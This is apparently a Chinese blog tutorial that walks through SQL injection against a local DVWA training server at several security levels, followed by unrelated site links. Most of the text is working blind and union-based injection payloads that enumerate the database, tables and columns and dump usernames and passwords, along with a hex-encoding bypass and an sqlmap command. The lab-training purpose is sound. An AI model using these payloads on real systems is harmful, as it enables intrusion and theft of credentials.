SQL盲注的过程:
1、判断是否存在注入,注入是字符型还是数字型
2、猜解当前数据库名
猜解数据库名的长度——>猜解数据库名的名称
3、猜解数据库中的表名
猜解库中有几个表——>猜解表名的长度——>猜解表的名称
4、猜解表中的字段名
猜解表中有几个字段——>猜解字段的长度——>猜解字段的名称
5、猜解数据
二、实验环境:首先我们先要打开运行的环境
1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite
2、DVWA服务器:Windows Server 2003(192.168.24.130),启动phpStudy。

三、实验过程 基于布尔值的盲注 安全等级:LOW

1、 接下来我们进行数据库的盲注,判断是否存在注入,是字符型还是数据型
输入 1' and '1'='1 ,查询成功,说明存在字符型SQL注入

2、猜解当前数据库名
2.1 猜解数据库名的长度
1' and length(database())=1 # // 设数据库长度为1,报错
1' and length(database())=4 # //数据库名长度为4 发现对了

2.2 猜解数据库的名称
1' and ascii(substr(database(),1,1))=100 # d
1' and ascii(substr(database(),2,1))=118 # v
1' and ascii(substr(database(),3,1))=119 # w
1' and ascii(substr(database(),4,1))=97 # a
试的是10 发现不对,100就对了
3、猜解数据库中的表名
3.1 猜解库中有几个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 # //有2个表
3.2 猜解表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 # //猜解第一个表名的长度为9

3.3 确定表的名称(guestbook,users)
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103 # //g
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117 # //u
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 2,1),1))=101 # //e

4、猜解users表中的字段名
4.1 猜解users表中有几个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # //users表中有8个字段
4.2 猜解字段名的长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4 # //猜解第3个字段的长度

4.3 确定字段的名称(user)
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=117 # //u
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1))=115 # //s
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 2,1),1))=101 # //e
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 3,1),1))=114 # //r

5、猜解数据(admin)
1’ and ascii(substr((select user from users limit 0,1)1,1))=97 # //a
1’ and ascii(substr((select user from users limit 1,1)1,1))=100 # //d
1’ and ascii(substr((select user from users limit 2,1)1,1))=109 # //m
1’ and ascii(substr((select user from users limit 3,1)1,1))=105 # //i
1’ and ascii(substr((select user from users limit 4,1)1,1))=110 # //n
好了,简单介绍一下。
接下来进行数据库注入:
判断sql是否存在注入,以及注入的类型

接下来我们猜测sql查询语句中的字段数 1‘ order by 1# (逐渐增加后面的1的大小进行猜测)


当输入3#时就出现了错误,说明只有两列的数据 查询的表的字段数是2
我们来看一下回显

接下来查询当前的数据库,以及版本
1' union select version(),database()#

接下来我们获取数据库的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

接下来我们获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

下面我们获得字段中的数据
1' union select user,password from users#

我们看到的就是密码 来!让我们都破解了




接下来我们将级别设置为medium 发现user id 已经限制了

看一下源代码 发现增加了一溜规则

这个时候我们不能在这里进行sql注入了,我们可以在别的地方,
我们浏览器启用代理

打开我们的抓包工具

我们抓到包了,我们发的是1 我们在最下面给他改一下

稍微改动,他回显给我们的就不再是1了

还是相同的步骤我们猜测字段个数


看一下3


接下来确定回显位置


获得数据库名称以及版本(注意和low不太一样,后面不能有‘)


获得数据库中所有表


下面获取表中的所有字段名,考虑到单引号被转移,可以利用16进制绕过
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273


最后获取字段中的数据


接下来我们将DVWA的级别设置成high 发现当你点中SQL injection界面时会出现一共点击 点击完我们会跳到另外一共界面

我们看一下高级的源码 发现里面没加啥特殊的控制,唯一就是跳了个网页

我们来获得密码

最后我们将级别设置成impossible 看一下它的源码 发现里面加了很多东西,我们暂时莫得办法了

在sqlmap里面进行执行 aqlmap.py -r C:11.txt --level 3

数据库中的这三个表我们要记住因为经常要用到

fastJson 之 JSONPath使用
【移动开发】怎样自己定义ViewGroup
POJ 3255 Roadblocks
java带图片的邮件发送方法实现
android学习二(Activity)
OpenWRT加入 crontab开机默认运行
ubuntu14.04启动提示set_sw_state failed
jekyll bootstrap更改主题theme
windows API 实现截图
- 最新文章
-
心得体悟帖---200505(legend4思路)
心得体悟帖---200505(新冠肺炎疫情期间,各国对疫情防疫态度 的启示)
hbase运维
HBase in 2013
HBase在京东的完善与创新
如何避免regionServer宕机
hbase多用户入库,regionserver下线问题
java 实现视频转换通用工具类:视频截图-Ffmpeg(四)
java 实现视频转换通用工具类:视频相互转换-Ffmpeg(三)
java 实现视频转换通用工具类:视频相互转换-总方法及Mencoder(二)
- 热门文章
-
java 实现视频转换通用工具类:获取视频元数据信息(一)
RSS实例文档
JS中navigator对象详解
intellij 打开node项目 一直停留在scanning files to index....,或跳出内存不够的提示框
Idea突然不停indexing的问题
falcon常用参数解析
nodejs服务端使用jquery操作Dom
强大的原生DOM选择器querySelector和querySelectorAll
Pull is not possible because you have unmerged files
Error: Cannot find module 'babel-runtime/regenerator'